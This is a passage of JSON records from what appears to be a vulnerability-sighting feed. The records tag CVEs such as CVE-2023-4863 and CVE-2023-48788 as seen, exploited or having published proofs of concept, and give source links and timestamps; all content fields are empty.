"4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/e01154513e08c00742a413f2fb38cbc8", "content": "", "creation_timestamp": "2026-06-30T02:27:28.045833Z"}, {"uuid": "2e6626b0-c0f2-4796-9d4d-3913369e37cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/26cf56c23420fb4677a1a8905d561088", "content": "", "creation_timestamp": "2026-06-30T02:26:22.482786Z"}, {"uuid": "cba451b1-94bf-44e7-94ed-6ca94bdefc03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/065b8f8ccbd5518c28ed7f3bb931a89e", "content": "", "creation_timestamp": "2026-06-30T02:26:21.963916Z"}, {"uuid": "e14c21ad-ff2f-428e-962b-7e41f6a68811", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/72d21146-30fa-4296-b086-072242878e43", "content": "", "creation_timestamp": "2026-07-01T07:17:12.004182Z"}, {"uuid": "d0ff19bc-d9ac-4e87-bae0-dda398fb9ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48056", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxc6e4cbb2f", "content": "", "creation_timestamp": "2026-07-06T04:51:59.293973Z"}, {"uuid": "2efec994-e9e5-4c85-a2da-c5c2c7bf2c84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48105", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxddc3ikz2g", "content": "", "creation_timestamp": "2026-07-06T05:12:36.092882Z"}, {"uuid": "cb803654-504e-4afb-b068-5f3c6c0a1473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ZerodayAlert/195", "content": "", "creation_timestamp": "2026-07-07T00:00:20.437873Z"}, {"uuid": "97a56650-f2f6-4e65-8d9a-2836d05a1ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ZerodayAlert/218", "content": "", "creation_timestamp": "2026-07-07T00:00:19.958630Z"}, {"uuid": "0033a0f7-6152-4792-9324-172a46dd8a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mq5v63ch642q", "content": "", "creation_timestamp": "2026-07-08T19:47:47.104293Z"}, {"uuid": "4d5cebb6-931c-473a-96f6-6c4afce5a690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/ZerodayAlert/218", "content": "", "creation_timestamp": "2026-07-12T00:00:17.047548Z"}, {"uuid": "77bad39b-253c-49bb-b69e-d57f2e55dee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/ZerodayAlert/195", "content": "", "creation_timestamp": "2026-07-12T01:00:03.891060Z"}, {"uuid": "3424846a-5522-4490-9ba0-9a426d6ee73a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/DigitalStormSec/23230", "content": "", "creation_timestamp": "2026-07-12T22:00:05.826851Z"}, {"uuid": "9a38ba49-d732-4b78-94f6-3ea04836268e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/ZerodayAlert/195", "content": "", "creation_timestamp": "2026-07-13T00:00:55.946673Z"}, {"uuid": "f1a12499-7905-42b3-9a4e-a72eaa06c646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/DigitalStormSec/23230", "content": "", "creation_timestamp": "2026-07-13T00:00:16.745646Z"}, {"uuid": "f520b5c1-89a5-4f13-b3a6-ec153434ab9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4861", "type": "seen", "source": "Telegram/p9-kuVV3i6o5oyhveGROV08VXkEXAoqv-Qhjrn4X5Lw6frU", "content": "", "creation_timestamp": "2026-07-16T19:00:18.318662Z"}, {"uuid": "a9afe7de-df29-453b-b7a1-11604208130c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4861", "type": "seen", "source": "Telegram/p9-kuVV3i6o5oyhveGROV08VXkEXAoqv-Qhjrn4X5Lw6frU", "content": "", "creation_timestamp": "2026-07-17T00:00:34.067941Z"}, {"uuid": "67e47d66-d7e4-4790-82de-66ba86df6555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "Telegram/uAwHSpVzvKkGBU7PlwjSK4JnNNXC67Q3js1Z8soIXQoV8Yzi", "content": "", "creation_timestamp": "2026-07-17T07:00:04.850049Z"}, {"uuid": "74ef3dbe-56e2-438a-bfd2-356fffffc8da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "Telegram/uAwHSpVzvKkGBU7PlwjSK4JnNNXC67Q3js1Z8soIXQoV8Yzi", "content": "", "creation_timestamp": "2026-07-18T00:00:37.638519Z"}, {"uuid": "5aa3e83d-2724-4fbd-bbfe-5df9b6fd9d75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/238", "content": "", "creation_timestamp": "2026-07-18T00:00:29.046132Z"}, {"uuid": "51b4b224-804f-49be-9af7-64ffd4a98259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4861", "type": "published-proof-of-concept", "source": "Telegram/p9-kuVV3i6o5oyhveGROV08VXkEXAoqv-Qhjrn4X5Lw6frU", "content": "", "creation_timestamp": "2026-07-18T00:00:25.283778Z"}, {"uuid": "434937f1-cf39-4ca3-8396-2ef157af8953", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ckuRED/411", "content": "", "creation_timestamp": "2026-07-21T13:00:08.101214Z"}, {"uuid": "e1aa41b1-8d72-4f6e-9137-3eae2d9dd663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/ArasakaCorporationChannel/134", "content": "", "creation_timestamp": "2026-07-21T14:00:04.952353Z"}, {"uuid": "b0f0fd2b-9834-40ef-a6d4-e1fbe107e99a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/ArasakaCorporationChannel/134", "content": "", "creation_timestamp": "2026-07-22T00:00:22.902529Z"}, {"uuid": "3392ec6b-b193-4243-b1b7-6c1dce981f04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/ckuRED/411", "content": "", "creation_timestamp": "2026-07-22T00:00:22.199153Z"}, {"uuid": "423caf79-5da6-4a6c-9932-2b867b57cee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/1961", "content": "", "creation_timestamp": "2026-07-26T02:02:21.119950Z"}, {"uuid": "236e6006-70f2-4438-9321-599102e393a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2010", "content": "", "creation_timestamp": "2026-07-26T02:02:20.440386Z"}, {"uuid": "0fd15f75-0e8e-4329-b7bc-50f3322d9896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2026", "content": "", "creation_timestamp": "2026-07-26T02:02:20.081181Z"}, {"uuid": "462a2dbc-35bd-4b7d-858c-903f82b9d5e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2034", "content": "", "creation_timestamp": "2026-07-26T02:02:19.813305Z"}, {"uuid": "dcb770ec-a248-4eb9-9c61-d3ce56be4b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/EchelonEyes/2301", "content": "", "creation_timestamp": "2026-07-26T02:02:17.102060Z"}, {"uuid": "62df23f4-6a19-453a-a582-986f2a6e323b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4818", "type": "seen", "source": "https://t.me/EchelonEyes/2372", "content": "", "creation_timestamp": "2026-07-26T02:02:14.904131Z"}, {"uuid": "f73783e8-c5fb-46c7-b4bd-8dd71fdf91b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-26T02:02:00.472131Z"}, {"uuid": "824ac269-49dd-4e65-97cc-6ef11c9271d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-26T02:02:00.294338Z"}, {"uuid": "5a19f2c0-e05c-464c-a98c-00de1815ceae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/1961", "content": "", "creation_timestamp": "2026-07-27T00:00:58.286362Z"}, {"uuid": "50fcb69d-3c81-4576-9387-74b78bbe458d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2010", "content": "", "creation_timestamp": "2026-07-27T00:00:57.600909Z"}, {"uuid": "eac2757e-305a-41b2-8bff-e421d0cad348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2026", "content": "", "creation_timestamp": "2026-07-27T00:00:57.362450Z"}, {"uuid": "1752aebb-2c38-4498-b0ce-005bd2249333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2034", "content": "", "creation_timestamp": "2026-07-27T00:00:57.127370Z"}, {"uuid": "3e681027-4fba-4d37-9d8e-8886f55b9e5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/EchelonEyes/2301", "content": "", "creation_timestamp": "2026-07-27T00:00:53.823449Z"}, {"uuid": "1319f978-9eca-4c39-b61c-fa06c5be0d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4818", "type": "seen", "source": "https://t.me/EchelonEyes/2372", "content": "", "creation_timestamp": "2026-07-27T00:00:52.836737Z"}, {"uuid": "ada34b8e-1353-4613-bac8-99361e8ff9e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-27T00:00:39.989418Z"}, {"uuid": "02da8280-bdd3-43eb-99a1-60ad8404064c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-27T00:00:39.812695Z"}, {"uuid": "dd0db514-42c4-4a57-baae-667a4c838417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48365", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-28T00:00:49.658838Z"}, {"uuid": "9f4f25d8-5768-43ba-8149-9bd0e6e84672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/EchelonEyes/3465", "content": "", "creation_timestamp": "2026-07-28T00:00:49.610828Z"}, {"uuid": "5ac658dd-2ccb-425d-9891-007e9c185c5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4818", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/2372", "content": "", "creation_timestamp": "2026-07-28T00:00:34.901095Z"}, {"uuid": "2dd760c9-d55c-43f3-9346-c9bca6b53f57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/2301", "content": "", "creation_timestamp": "2026-07-28T00:00:33.997039Z"}, {"uuid": "ad254f45-5b93-443f-80fb-928e8f4f41b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/EchelonEyes/2034", "content": "", "creation_timestamp": "2026-07-28T00:00:29.910897Z"}, {"uuid": "111c38fa-d88b-4181-b1ae-aee89f09bd66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2026", "content": "", "creation_timestamp": "2026-07-28T00:00:29.750578Z"}, {"uuid": "92750137-20ed-4420-ae16-05323cd9818e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/EchelonEyes/2010", "content": "", "creation_timestamp": "2026-07-28T00:00:25.911516Z"}, {"uuid": "f0043319-0e5c-43d3-ad75-ba3eed926ba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/EchelonEyes/1961", "content": "", "creation_timestamp": "2026-07-28T00:00:25.271492Z"}, {"uuid": "170d3d82-6464-46db-9c96-f6771d7f54cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/sysadm_in_up/1912", "content": "", "creation_timestamp": "2026-07-29T12:03:18.889677Z"}, {"uuid": "236dcf58-155d-476a-9c61-7e6980f6a3c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/sysadm_in_up/2099", "content": "", "creation_timestamp": "2026-07-29T12:03:18.057196Z"}, {"uuid": "1a8149d1-e7d6-40ae-ba33-891cea09a2c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2813", "content": "", "creation_timestamp": "2026-07-29T12:03:09.484049Z"}, {"uuid": "09b320d0-dcf1-414d-8edb-6a85641ee1cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2790", "content": "", "creation_timestamp": "2026-07-29T12:03:09.434607Z"}, {"uuid": "c9aa5309-dd76-472f-93d8-354cfeeb9171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/reverseame/4498", "content": "", "creation_timestamp": "2026-07-29T12:02:14.686366Z"}, {"uuid": "650228df-fe13-4705-a497-cd0a8a9e9c0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48228", "type": "seen", "source": "https://t.me/reverseame/4506", "content": "", "creation_timestamp": "2026-07-29T12:02:14.557754Z"}, {"uuid": "8e1cab46-9587-4888-9c18-9682cec5e4e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/reverseame/4498", "content": "", "creation_timestamp": "2026-07-30T00:02:20.845367Z"}, {"uuid": "a615d94d-4360-4a2d-9af9-b368eee06fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48228", "type": "seen", "source": "https://t.me/reverseame/4506", "content": "", "creation_timestamp": "2026-07-30T00:02:20.713714Z"}, {"uuid": "9eaeed20-e728-4b2e-9959-5ecad7cb9161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/sysadm_in_up/1912", "content": "", "creation_timestamp": "2026-07-30T00:03:04.648135Z"}, {"uuid": "416d777c-d572-4ac1-9627-ae56c100ec52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/sysadm_in_up/2099", "content": "", "creation_timestamp": "2026-07-30T00:03:03.811422Z"}, {"uuid": "4b76a503-f6ba-4d34-b550-57c8e68c1d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2813", "content": "", "creation_timestamp": "2026-07-30T00:02:56.133844Z"}, {"uuid": "b2f47be6-7894-440f-8b65-73e59234910f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2790", "content": "", "creation_timestamp": "2026-07-30T00:02:56.092946Z"}, {"uuid": "7926b1b8-2c0a-485c-9b94-05a85625e676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/6952882fc494bc673397ec58f04a6e92", "content": "", "creation_timestamp": "2026-07-30T16:49:51.101434Z"}, {"uuid": "72e5f626-cdf3-4106-af21-c662fbd9a4fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/78b43101caf0a2889d878bc26f12532e", "content": "", "creation_timestamp": "2026-07-30T19:33:50.208664Z"}, {"uuid": "093427b1-d7bc-46e6-873a-f4ce71e9f494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/cdec105f804c8b4962d64774b7f2237d", "content": "", "creation_timestamp": "2026-07-30T19:33:38.495431Z"}, {"uuid": "b629b96e-0603-4cf7-a38c-ddd24bb2670b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/04002ae027b5b8d8be96f4e475729951", "content": "", "creation_timestamp": "2026-07-30T20:36:40.296740Z"}, {"uuid": "4587b65f-9fda-420d-b018-da17cc34cf7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://gist.github.com/tu-trinh-scale/59ec800c6d4eb5caeefdfca2353b2e8a", "content": "", "creation_timestamp": "2026-07-30T20:36:26.583703Z"}, {"uuid": "73efb3b1-ddc5-4db3-96a1-e975593e19d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48228", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4506", "content": "", "creation_timestamp": "2026-08-02T07:02:13.811579Z"}, {"uuid": "2404b99d-34ed-415a-9092-d8a4c6ef0d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4498", "content": "", "creation_timestamp": "2026-08-02T07:02:13.601545Z"}, {"uuid": "f4755465-fa1f-4881-8e1d-4de70a7db8a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48228", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4506", "content": "", "creation_timestamp": "2026-08-03T02:09:29.992560Z"}, {"uuid": "e2a380f7-e544-4677-940e-c3841ceced12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4498", "content": "", "creation_timestamp": "2026-08-03T02:09:29.847941Z"}, {"uuid": "1e0c5044-ab1c-49e0-a03d-9f154e02a8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2790", "content": "", "creation_timestamp": "2026-08-03T19:00:04.261140Z"}, {"uuid": "396130de-ada6-4e20-a337-548fdcafdfe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2813", "content": "", "creation_timestamp": "2026-08-03T19:00:04.217524Z"}, {"uuid": "39c42367-84a8-4923-9117-44c1308e9fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2790", "content": "", "creation_timestamp": "2026-08-04T00:00:28.623713Z"}, {"uuid": "498a4754-68d0-4691-810f-f626f0d9c72c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cisoclub/2813", "content": "", "creation_timestamp": "2026-08-04T00:00:28.567121Z"}, {"uuid": "a045646d-7631-4475-98e5-f1518d6a7b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2099", "content": "", "creation_timestamp": "2026-08-04T02:00:04.356853Z"}, {"uuid": "f556258f-b4a3-4869-8c04-256ccf974465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/sysadm_in_up/1912", "content": "", "creation_timestamp": "2026-08-04T02:00:03.622683Z"}, {"uuid": "9b651331-3740-4cf5-8fd9-1bb27c350ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48858", "type": "seen", "source": "https://t.me/Finance_CiSO/210", "content": "", "creation_timestamp": "2026-08-04T12:00:08.278871Z"}, {"uuid": "a01cc3c2-d289-401d-889f-2659da63f85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/knowyouradversary/51", "content": "", "creation_timestamp": "2026-08-04T13:00:06.549000Z"}, {"uuid": "68a69229-47ac-4a0c-bcce-77439aaddf55", "vulnerability_lookup_origin": 